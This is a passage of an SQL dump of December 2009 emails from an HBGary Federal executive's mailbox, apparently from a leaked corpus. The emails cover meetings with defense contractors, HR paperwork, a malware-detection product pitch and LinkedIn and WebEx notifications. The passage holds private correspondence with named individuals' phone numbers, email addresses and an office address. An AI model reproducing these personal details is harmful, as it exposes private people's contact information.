Expenses.pdf&gt;&lt;eligibleandineligibleexpenses052405.pdf&gt;&lt;Debit\r\nCard Kit.pdf&gt;\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1141,'aaron_hbgary_com/1141.html'),(545,'2009-12-09','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999907.M735604P3547Q545.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Greg is our this week','things went well.  Greg is in Delaware right now.  We got best\r\nboardroom presentation at GTRA (which is voted on by all attendees) so\r\nthat was great.  Met with GD today, and there is definite synergy in\r\ntheir new messaging.  They are putting together SOCs in 4 locations.\r\nThe Annapolis Junction is DISA/Cybercom SOC, Fairfax i sw Secure Ops\r\nCenter, San Antonio is for AF and Santa Clara is all for classified\r\nstuff.  (you are meeting with Santa Clara folks)  Scott Dratch is the\r\npoint person for HBGary and the relationship.  YOu will need to meet\r\nwith him to discuss what you\'d like to do.  He works for Kirstan and\r\nwill make sure to include us in bids.  They are focusing on branding\r\nGD as an RE and forensic powerhouse , owning cyber mission management\r\nand defense in depth from enterprise (whichis why SOCs are important\r\nbecause they have their target customers set up installed)  Ben can\r\nalso drive that in Santa Clara\r\n\r\nOn Wed, Dec 9, 2009 at 3:51 PM, Aaron Barr  wrote:\r\n> How did things go today?  I was going to meet with John on Friday, but\r\n> I have orbital, RavenWing, and blackbird that have taken up nearly the\r\n> whole day.  Checking with John to see if we can do tomorrow.\r\n>\r\n> Aaron\r\n>\r\n>  From my iPhone\r\n>\r\n> On Dec 9, 2009, at 6:31 PM, Penny Leavy  wrote:\r\n>\r\n>> Hey John,\r\n>>\r\n>> We did talk to InQtel, Mark McGovern doesn\'t think end node security\r\n>> is a big issue to \"his\" customers.  Never mind that there is virtually\r\n>> no perimeter security that can protect you against malware.  I think\r\n>> we just need someone to sponsor.  Aaron and greg can fill you in more.\r\n>> Greg gets back from boston into IAD at 1:51PM on Friday, I think\r\n>> Aaron is planning on trying to get withyou and greg on friday.  He\'s\r\n>> in class today, but I\'m copying him.  We\'d love to get to see your\r\n>> customer.  Lots happening, that\'s for sure:)  All good\r\n>>\r\n>> On Wed, Dec 9, 2009 at 8:17 AM, John Edwards\r\n>>  wrote:\r\n>>> Penny,\r\n>>>\r\n>>> I spoke to Aaron and I thought we were planning on something for\r\n>>> Friday afternoon.\r\n>>>\r\n>>> In addition, I\'m still checking with the customer - he gets back\r\n>>> from TDY tomorrow and I\'m checking to see if he could see us on\r\n>>> Friday.\r\n>>>\r\n>>> BTW, did you guys get a chance to talk to Dan & others at In-Q-Tel?\r\n>>>\r\n>>> Hope all is well.\r\n>>>\r\n>>> John\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Penny Leavy [mailto:penny@hbgary.com]\r\n>>> Sent: Monday, December 07, 2009 12:18 PM\r\n>>> To: John Edwards\r\n>>> Subject: Greg is our this week\r\n>>>\r\n>>> DId you want to see him?  Were you able to get the meeting?\r\n>>>\r\n>>> --\r\n>>> Penny C. Leavy\r\n>>> HBGary, Inc.\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Penny C. Leavy\r\n>> HBGary, Inc.\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',9121,'aaron_hbgary_com/9121.html'),(546,'2009-12-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999908.M417785P3547Q547.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Re: aaron@hbgary.com','Penny,Aaron and I are going to call John Cox tomorrow to discuss and will give you an answer then.  Sorry for the delay, we&#39;re still trying to understand the pros and cons of each.\r\nTedOn Tue, Dec 8, 2009 at 5:58 AM, Penny Leavy &lt;penny@hbgary.com&gt; wrote:\r\nHey Ted,\r\n\r\nI just need to double check entity info with you  C or LLC, LLC is\r\npreferred for year one and for holding IP\r\n\r\nOn Mon, Dec 7, 2009 at 8:15 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n&gt; Hi Penny,\r\n&gt; Can you please send Aaron and I the direct deposit form.  Did you hear back\r\n&gt; about our quickbook accounts (so we can do timecards)?\r\n&gt; Thanks!\r\n&gt; Ted\r\n&gt;\r\n\r\n\r\n\r\n--\r\nPenny C. Leavy\r\nHBGary, Inc.\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',14478,'aaron_hbgary_com/14478.html'),(547,'2009-12-10','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1296999908.M59175P3547Q546.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: RE:','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCan&#8217;t wait to meet you.&nbsp; If you have any questions on any of the\r\nforms please call.\r\n\r\n&nbsp;\r\n\r\nDeeAnn\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, December 09, 2009 3:53 PM\r\nTo: DeeAnn Buonaccorsi\r\nSubject: Re: RE:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI am coming out next week. &nbsp;I will bring the cormels\r\nwith if I get them by Saturday. &nbsp;I will bring my travel\r\n\r\n\r\n\r\n\r\n\r\nStuff as well.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 9, 2009, at 6:22 PM, &quot;DeeAnn Buonaccorsi&quot; &lt;deeann@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI\r\nbelieve you just send your expense report by mail.&nbsp; I will need to verify\r\nwith &nbsp;Penny.&nbsp; &nbsp;I am not much help in that\r\ndepartment.&nbsp;&nbsp; Sorry.\r\n\r\n&nbsp;\r\n\r\nI\r\njust sent you the employee packet today. In the packet you will find everything\r\nyou need.&nbsp; Are you &nbsp;coming&nbsp; to the Sacramento office next week?\r\n&nbsp;&nbsp;If you are can you bring the completed forms?\r\n\r\n&nbsp;\r\n\r\nDeeAnn\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, December 09, 2009 2:48 PM\r\nTo: DeeAnn Buonaccorsi\r\nSubject: Re: \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi\r\nDeeAnn,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHow\r\ndo I submit an expense report for reimbursement? &nbsp;And I still need to do\r\nmy W2, citizenship, all that stuff. &nbsp;What all do you need from me to get\r\nme official.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nDec 7, 2009, at 6:22 PM, DeeAnn Buonaccorsi wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTo\r\nall,\r\n\r\n&nbsp;\r\n\r\nIt&#8217;s\r\nthat time of year again.&nbsp; Time to update your TASKC 1020 Flex Plan.&nbsp;\r\nAttached to this email are forms explaining the Flex Plan and the paperwork\r\nassociated with it.&nbsp; Please take some time to review this\r\ninformation.&nbsp; If you have any questions, please feel free to contact\r\nDeeAnn or Jeff Bell@onebox.com.&nbsp; Or\r\nby his cell phone 510-912-2355. &nbsp; These forms are due by December 16th,\r\n2009.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4724 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;Responder_2DAY_Malware.pdf&gt;&lt;Copy\r\nof HBGary- Enrollment Form 2008 (2).pdf&gt;&lt;Qualified Medical\r\n&nbsp;Expenses.pdf&gt;&lt;eligibleandineligibleexpenses052405.pdf&gt;&lt;Debit\r\nCard Kit.pdf&gt;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15151,'aaron_hbgary_com/15151.html'),(548,'2009-12-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999908.M614440P3547Q548.eml','\"Robert Higgins\" <Higgins.Robert@orbital.com>','Re: Meeting','Robert,\r\n\r\nWould Friday morning work or be better being Friday?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Dec 9, 2009, at 9:59 AM, Robert Higgins\r\n wrote:\r\n\r\n> Hello Aaron,\r\n>  2:30 would be fine.  Go to building 1 and give me a call.\r\n>\r\n> Robert\r\n>\r\n>\r\n> -----------------------------------------\r\n> Notice:  This e-mail is intended solely for use of the individual\r\n> or entity to which it is addressed and may contain information that\r\n> is proprietary, privileged and exempt from disclosure under\r\n> applicable law.  If the reader is not the intended recipient or\r\n> agent responsible for delivering the message to the intended\r\n> recipient, you are hereby notified that any dissemination,\r\n> distribution or copying of this communication is strictly\r\n> prohibited.  This communication may also contain data subject to\r\n> U.S. export laws.  If so, that data subject to the International\r\n> Traffic in Arms Regulation cannot be disseminated, distributed or\r\n> copied to foreign nationals, residing in the U.S. or abroad, absent\r\n> the express prior approval of the U.S. Department of State.   If\r\n> you have received this communication in error, please notify the\r\n> sender by reply e-mail and destroy the e-mail message and any\r\n> physical copies made of the communication.  Thank you.\r\n',10739,'aaron_hbgary_com/10739.html'),(549,'2009-12-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999908.M819432P3547Q549.eml','\"Barr Aaron\" <aaron@hbgary.com>','Greg\'s talk at CIA','http://video.google.com/a/hbgary.com/#/Play/contentId=d7a950294f5ab61f-- Ted H. VeraPresident | COOHBGary Federal, Inc.\r\n719-237-8623\r\n',10304,'aaron_hbgary_com/10304.html'),(550,'2009-12-10','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1296999909.M240504P3547Q551.eml','\"Barr Aaron\" <aaron@hbgary.com>','White House unveils open government directive | Geek Gestalt - CNET News','http://news.cnet.com/8301-13772_3-10411429-52.html?part=rss&subj=news&tag=2547-1040_3-0-5\r\n\r\n\r\n\r\n',15888,'aaron_hbgary_com/15888.html'),(551,'2009-12-10','\"Nieves, Alexander\" <Alexander.Nieves@ManTech.com>','/aaron@hbgary.com/new/1296999909.M446734P3547Q552.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Discussion','Aaron this is week has turned into an appt nightmare. I will have to\r\nlook at another date. Next week is pretty busy also it\'s the week we\r\nspend on strategy and operations reviews. Let me look at what might be\r\nopen for next week maybe during lunch. Shoot me a couple of dates\r\nbetween 1100-1300 time frame for next week. thanks\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 08, 2009 12:54 PM\r\nTo: Nieves, Alexander\r\nSubject: Re: Discussion\r\n\r\nHow does Friday look Alex?  If it\'s no good I can meet with you maybe\r\nlate next week to go over things and we can catch Greg his next trip\r\nout.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Dec 7, 2009, at 10:12 AM, \"Nieves, Alexander\"\r\n wrote:\r\n\r\n> Aaron im trying to move some appts around so we can meet so let me see\r\n> what I can do for this week?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, December 02, 2009 2:25 AM\r\n> To: Nieves, Alexander\r\n> Subject: Discussion\r\n>\r\n> Hi Alex,\r\n>\r\n> I was wondering if you would be interested in getting together next\r\n> week\r\n> to talk about my new role, what we might be able to do together and\r\n> get\r\n> a brief on the latest HBGary and Mantech capabilities?  Greg Hoglund\r\n> will be in town and of course does the best job conveying the\r\n> technologies (I\'ll get there).  Not sure how familiar you are with\r\n> their\r\n> tools, but the one I am most excited about is their Digital DNA, it\r\n> does\r\n> behavior/characteristic identification of malware based on HBGarys\r\n> Malware genome database.  So far its 75% successful at detecting all\r\n> malware we throw at it, as the genome database gets larger that should\r\n> get better, but already pretty good.\r\n>\r\n> Another idea I am starting to form is a combined capability that I\r\n> think\r\n> can push the rock a little on Attribution.  I am not sure if you are\r\n> familiar with Palantir.  Their main focus in link analysis, and their\r\n> tool is best in class.  I want to combine Palantirs capability for\r\n> externals analysis with HBGarys capability for malware binary analysis\r\n> and fingerprinting and start doing some long term analysis and\r\n> correlation of attacks.  I think this approach could push the\r\n> Attribution rock forward a little.\r\n>\r\n> I know you guys are in the \"forensics\" space but would really like to\r\n> talk about what that really means, also share where we are going and\r\n> see\r\n> where we might be able to help each other.\r\n>\r\n> If you noticed the time of the email.  3rd night in a row I have woken\r\n> up in the middle of the night and can\'t sleep because my mind is\r\n> racing.\r\n> Its nice to be excited about work, but I need some sleep.\r\n>\r\n> Aaron\r\n',10598,'aaron_hbgary_com/10598.html'),(552,'2009-12-10','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1296999909.M653245P3547Q553.eml','\"Aaron Barr\" <aaron@hbgary.com>','Madiha Giglione has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Madiha are now connected.\r\n\r\n \r\n   \r\n   View Madiha\'s profile to:\r\n     \r\n       Download Madiha\'s current contact information\r\n       Write a recommendation for Madiha\r\n       Find opportunities through Madiha\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/74GQgvacGxZR3E5O7EOQw5Eauzi/fpf/58659571/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n',11966,'aaron_hbgary_com/11966.html'),(553,'2009-12-10','\"WebEx\" <webexwelcome@webex.com>','/aaron@hbgary.com/new/1296999909.M7093P3547Q550.eml','aaron@hbgary.com','Tools and resources for your WebEx account','\r\n\r\n\r\n\r\n \r\n  \r\n \r\nEM 2 new\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n				\r\n					\r\n\r\n			\r\n				\r\n					\r\n				\r\n				\r\n					\r\n				\r\n				\r\n					\r\n						\r\n							Get the most out of Cisco WebEx Meeting Center.\r\n							Dear Aaron,\r\n							Use WebEx like a pro.  Learn more about what you can do with WebEx Meeting Center. Master the most frequently-used features and brush up on your presentation skills.  Here are a few resources to help you get started.\r\n						\r\n					\r\n				\r\n				\r\n					\r\n				\r\n				\r\n					\r\n						\r\n							\r\n								\r\n									\r\n										\r\n											\r\n												\r\n													\r\n													Visit MyResources\r\n														\r\n														Log in to MyResources, your customer portal. Discover a wide range of resources to help manage your account and access support services:\r\n														\r\n															\r\n																\r\n																Take Cisco WebEx University training courses\r\n															\r\n															\r\n																\r\n																Review FAQs in the Knowledge Base\r\n															\r\n															\r\n																\r\n																Ask questions of Technical Support\r\n															\r\n															\r\n																\r\n																Learn about other Meeting Support Services\r\n															\r\n														\r\n														\r\n															\r\n																\r\n																	\r\n																		\r\n																			\r\n																			Go to MyResources. \r\n																		\r\n																	\r\n																\r\n															\r\n														\r\n													\r\n												\r\n											\r\n										\r\n									\r\n								\r\n							\r\n							\r\n							\r\n								\r\n									\r\n										\r\n											\r\n												\r\n													\r\n													Get monthly tips delivered to your inbox\r\n                                                    Sign up for the 6-part monthly email series, Tips \'n\' Tricks series. Receive step-by-step instructions on the some of our most popular Meeting Center features to increase meeting productivity. See how to:\r\n														\r\n														\r\n															\r\n																\r\n																Share your desktop\r\n															\r\n															\r\n																\r\n																Share video in your meeting\r\n															\r\n															\r\n																\r\n																Allow attendees to edit shared documents\r\n															\r\n															\r\n																\r\n																and more...\r\n															\r\n														\r\n														\r\n															\r\n																\r\n																	\r\n																		\r\n																			\r\n																			Go to Tips \'n\' Tricks series. \r\n																		\r\n																	\r\n																\r\n															\r\n														\r\n													\r\n												\r\n											\r\n										\r\n									\r\n								\r\n							\r\n							\r\n							\r\n								\r\n									\r\n										\r\n											\r\n												\r\n													\r\n													Help yourself to free training\r\n														\r\n														Take courses from Cisco WebEx University. Learn from live instructors in a, dynamic, online classroom, or with on-demand courses. Whether you\'re a beginner or an expert, you\'ll find a wide range of instructor-led and self-paced learning to get on track.\r\n														\r\n														\r\n															\r\n																\r\n																	\r\n																		\r\n																			\r\n																			Go to Cisco WebEx University\r\n																		\r\n																	\r\n																\r\n															\r\n														\r\n													\r\n												\r\n											\r\n										\r\n									\r\n								\r\n							\r\n							\r\n							\r\n								\r\n									\r\n										\r\n											\r\n												\r\n													\r\n													Learn a single feature quickly.\r\n														\r\n														Get the hang of a particular feature. Find a quick answer using the \"How do I…?\" video tutorials. Choose from over 50 three-minute \"How to\" topics, and learn how to:\r\n														\r\n															\r\n																\r\n																Transfer a file to attendees.\r\n															\r\n															\r\n																\r\n																Use the whiteboard.\r\n															\r\n															\r\n																\r\n																Record a meeting.\r\n															\r\n															\r\n																\r\n																Hold a video conference by sharing your webcam from your desktop.\r\n															\r\n														\r\n														\r\n															\r\n																\r\n																	\r\n																		\r\n																			\r\n																			Explore the \"How do I…?\" library\r\n																		\r\n																	\r\n																\r\n															\r\n														\r\n													\r\n												\r\n											\r\n										\r\n									\r\n								\r\n							\r\n						\r\n					\r\n				\r\n				\r\n					\r\n				\r\n				\r\n					\r\n						\r\n							Questions? Contact:\r\n\r\n							\r\n								\r\n									Service questions 1-866-863-3908\r\n									\r\n									Technical questions http://support.webex.com\r\n								\r\nForgot your WebEx password? Retrieve it.\r\n							\r\n						\r\n					\r\n				\r\n				\r\n					\r\n				\r\n			\r\n\r\n					\r\n				\r\n			\r\n			\r\n			\r\n				\r\n					\r\n						\r\n&copy; 2009 Cisco Systems, Inc. and/or its affiliated entities. All rights reserved. \r\nCisco WebEx LLC, 3979 Freedom Circle, Santa Clara, CA 95054.\r\n\r\nThis email was sent to: aaron@hbgary.com \r\nWebEx respects your privacy : http://www.webex.com/webex_privacy.html\r\n\r\n						\r\n					\r\n					\r\n				\r\n			\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n-WEBEX:enUS:\r\n\r\ngu6EpINy5tUWRnmQXg+fLs-\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13196,'aaron_hbgary_com/13196.html'),(554,'2009-12-10','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1296999909.M880009P3547Q554.eml','\"Aaron Barr\" <aaron@hbgary.com>','Brenton Greene has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Brenton are now connected.\r\n\r\n \r\n   \r\n   View Brenton\'s profile to:\r\n     \r\n       Download Brenton\'s current contact information\r\n       Write a recommendation for Brenton\r\n       Find opportunities through Brenton\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/74GQgvacGxZR3E5O7EOQw5Eauzi/fpf/20836892/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n',8602,'aaron_hbgary_com/8602.html'),(555,'2009-12-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999910.M292757P3547Q556.eml','\"Penny Leavy\" <penny@hbgary.com>','Re: Greg is our this week','Great I look forward to meeting with the GD folks and learning about  \r\nhow they are looking to tackle the cyber problem.  Where are the folks  \r\nthat you met with in relation to the Santa Clara folks in the GD food  \r\nchain.  Is Scott the person you met with?  Do you have a feeling for  \r\nwhat they can do vs. what they would like to do?  I have lots of  \r\nquestions I will save for GD.  If Scott is the guy I need to talk with  \r\ncan you send me his contact information.\r\n\r\nGreat feedback on the GTRA.\r\n\r\nSo You and Greg won\'t be there for the Blackbird meeting?  I talked  \r\nwith Don and at some point they want to get you two in front of the  \r\nexecs there as they are interested in investment as Don mentioned.\r\n\r\nThanks,\r\nAaron\r\n\r\n\r\nOn Dec 9, 2009, at 6:58 PM, Penny Leavy wrote:\r\n\r\n> things went well.  Greg is in Delaware right now.  We got best\r\n> boardroom presentation at GTRA (which is voted on by all attendees) so\r\n> that was great.  Met with GD today, and there is definite synergy in\r\n> their new messaging.  They are putting together SOCs in 4 locations.\r\n> The Annapolis Junction is DISA/Cybercom SOC, Fairfax i sw Secure Ops\r\n> Center, San Antonio is for AF and Santa Clara is all for classified\r\n> stuff.  (you are meeting with Santa Clara folks)  Scott Dratch is the\r\n> point person for HBGary and the relationship.  YOu will need to meet\r\n> with him to discuss what you\'d like to do.  He works for Kirstan and\r\n> will make sure to include us in bids.  They are focusing on branding\r\n> GD as an RE and forensic powerhouse , owning cyber mission management\r\n> and defense in depth from enterprise (whichis why SOCs are important\r\n> because they have their target customers set up installed)  Ben can\r\n> also drive that in Santa Clara\r\n>\r\n> On Wed, Dec 9, 2009 at 3:51 PM, Aaron Barr  wrote:\r\n>> How did things go today?  I was going to meet with John on Friday,  \r\n>> but\r\n>> I have orbital, RavenWing, and blackbird that have taken up nearly  \r\n>> the\r\n>> whole day.  Checking with John to see if we can do tomorrow.\r\n>>\r\n>> Aaron\r\n>>\r\n>>  From my iPhone\r\n>>\r\n>> On Dec 9, 2009, at 6:31 PM, Penny Leavy  wrote:\r\n>>\r\n>>> Hey John,\r\n>>>\r\n>>> We did talk to InQtel, Mark McGovern doesn\'t think end node security\r\n>>> is a big issue to \"his\" customers.  Never mind that there is  \r\n>>> virtually\r\n>>> no perimeter security that can protect you against malware.  I think\r\n>>> we just need someone to sponsor.  Aaron and greg can fill you in  \r\n>>> more.\r\n>>> Greg gets back from boston into IAD at 1:51PM on Friday, I think\r\n>>> Aaron is planning on trying to get withyou and greg on friday.  He\'s\r\n>>> in class today, but I\'m copying him.  We\'d love to get to see your\r\n>>> customer.  Lots happening, that\'s for sure:)  All good\r\n>>>\r\n>>> On Wed, Dec 9, 2009 at 8:17 AM, John Edwards\r\n>>>  wrote:\r\n>>>> Penny,\r\n>>>>\r\n>>>> I spoke to Aaron and I thought we were planning on something for\r\n>>>> Friday afternoon.\r\n>>>>\r\n>>>> In addition, I\'m still checking with the customer - he gets back\r\n>>>> from TDY tomorrow and I\'m checking to see if he could see us on\r\n>>>> Friday.\r\n>>>>\r\n>>>> BTW, did you guys get a chance to talk to Dan & others at In-Q-Tel?\r\n>>>>\r\n>>>> Hope all is well.\r\n>>>>\r\n>>>> John\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Penny Leavy [mailto:penny@hbgary.com]\r\n>>>> Sent: Monday, December 07, 2009 12:18 PM\r\n>>>> To: John Edwards\r\n>>>> Subject: Greg is our this week\r\n>>>>\r\n>>>> DId you want to see him?  Were you able to get the meeting?\r\n>>>>\r\n>>>> --\r\n>>>> Penny C. Leavy\r\n>>>> HBGary, Inc.\r\n>>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>> --\r\n>>> Penny C. Leavy\r\n>>> HBGary, Inc.\r\n>>\r\n>\r\n>\r\n>\r\n> -- \r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n\r\n',4400,'aaron_hbgary_com/4400.html'),(556,'2009-12-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999910.M478663P3547Q557.eml','\"John Edwards\" <John.Edwards@agilex.com>,\"John Edwards\" <John.Edwards@agilex.com>','Re: Introduction','Hey John,I hadn\'t heard back yet about possibly a Friday morning. &nbsp;I can do today as well and possibly later Friday afternoon. &nbsp;I have a set of meetings that stacked up on Friday that I really have to get behind me for some upcoming recompete work, the only meeting I could push would be one with Orbital in the later afternoon.What do you think?Aaron&nbsp;On Dec 9, 2009, at 6:16 PM, John Edwards wrote:What about lunch on Friday?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, December 08, 2009 9:01 AMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;Hi John,&nbsp;Sorry for delay, I started last week in a full sprint. &nbsp;Are you still available today or Friday? &nbsp;I am meeting Greg and Penny at 930, I think thats it for me for the day but have to double check with Penny. &nbsp;I would definitely still like to get together this week if you available.&nbsp;Aaron&nbsp;&nbsp;On Dec 3, 2009, at 8:48 AM, John Edwards wrote:Aaron,I’m good Tuesday until 1630 and anytime on Friday.&nbsp; Let me know what works for you.&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, December 03, 2009 7:29 AMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;Gregs in town next week. &nbsp;Do you have something set up with him already or should I set something, or does Greg need to be there?&nbsp;Either way, Tuesday afternoon works, also Friday works. &nbsp;Either of those days good for you?&nbsp;Aaron&nbsp;&nbsp;On Dec 1, 2009, at 11:45 AM, John Edwards wrote:Aaron,This week is crazy – some large proposals.&nbsp; How about next week.&nbsp; What is your schedule for next week?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, December 01, 2009 8:36 AMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;Hi John,&nbsp;Do you want to try and link up this week or wait until next week when Greg gets into town?&nbsp;Aaron&nbsp;&nbsp;On Nov 25, 2009, at 4:02 PM, Penny Hoglund wrote:Hi John,&nbsp;I’d like to introduce you to Aaron Barr, CEO of HBGary Federal.&nbsp; Aaron just joined HBGary Federal from Northrup Grumman and has a lot of experience with your old employer.&nbsp; He has his clearance as does his President Ted Vera.&nbsp;&nbsp;As I told you Greg will be out week of December 7th&nbsp;so perhaps we could all meet then.&nbsp; Please feel free to communicate prior to that as well&nbsp;ThanksPenny&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;',7837,'aaron_hbgary_com/7837.html'),(557,'2009-12-10','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999910.M658994P3547Q558.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Greg is our this week','Greg will be flying out at 12 and wont\' get in until 1:51PM at Dulles.\r\n We can schedule a time to meet with the folks but it won\'t happen\r\nthis trip, perhaps first part of new year.  I\'ll call Don and see when\r\nthat should be.  With regards to Scott Dratch, he reports to Kirsten.\r\nI know he has security clearenaces and I know he is aware of contracts\r\nbut he doesn\'t work on classified side.  That said, you will be\r\nmeeting with one that does in Santa Clara.  I have to call Bob today\r\nand make sure he closes loop.  I still think educating Scott about\r\nyour capabilities is a good thing.   I don\'t have his info with me, i\r\ndidn\'t take a card because I had one.  I\'ll send it to you though\r\n\r\nOn Thu, Dec 10, 2009 at 4:51 AM, Aaron Barr  wrote:\r\n> Great I look forward to meeting with the GD folks and learning about how\r\n> they are looking to tackle the cyber problem.  Where are the folks that you\r\n> met with in relation to the Santa Clara folks in the GD food chain.  Is\r\n> Scott the person you met with?  Do you have a feeling for what they can do\r\n> vs. what they would like to do?  I have lots of questions I will save for\r\n> GD.  If Scott is the guy I need to talk with can you send me his contact\r\n> information.\r\n>\r\n> Great feedback on the GTRA.\r\n>\r\n> So You and Greg won\'t be there for the Blackbird meeting?  I talked with Don\r\n> and at some point they want to get you two in front of the execs there as\r\n> they are interested in investment as Don mentioned.\r\n>\r\n> Thanks,\r\n> Aaron\r\n>\r\n>\r\n> On Dec 9, 2009, at 6:58 PM, Penny Leavy wrote:\r\n>\r\n>> things went well.  Greg is in Delaware right now.  We got best\r\n>> boardroom presentation at GTRA (which is voted on by all attendees) so\r\n>> that was great.  Met with GD today, and there is definite synergy in\r\n>> their new messaging.  They are putting together SOCs in 4 locations.\r\n>> The Annapolis Junction is DISA/Cybercom SOC, Fairfax i sw Secure Ops\r\n>> Center, San Antonio is for AF and Santa Clara is all for classified\r\n>> stuff.  (you are meeting with Santa Clara folks)  Scott Dratch is the\r\n>> point person for HBGary and the relationship.  YOu will need to meet\r\n>> with him to discuss what you\'d like to do.  He works for Kirstan and\r\n>> will make sure to include us in bids.  They are focusing on branding\r\n>> 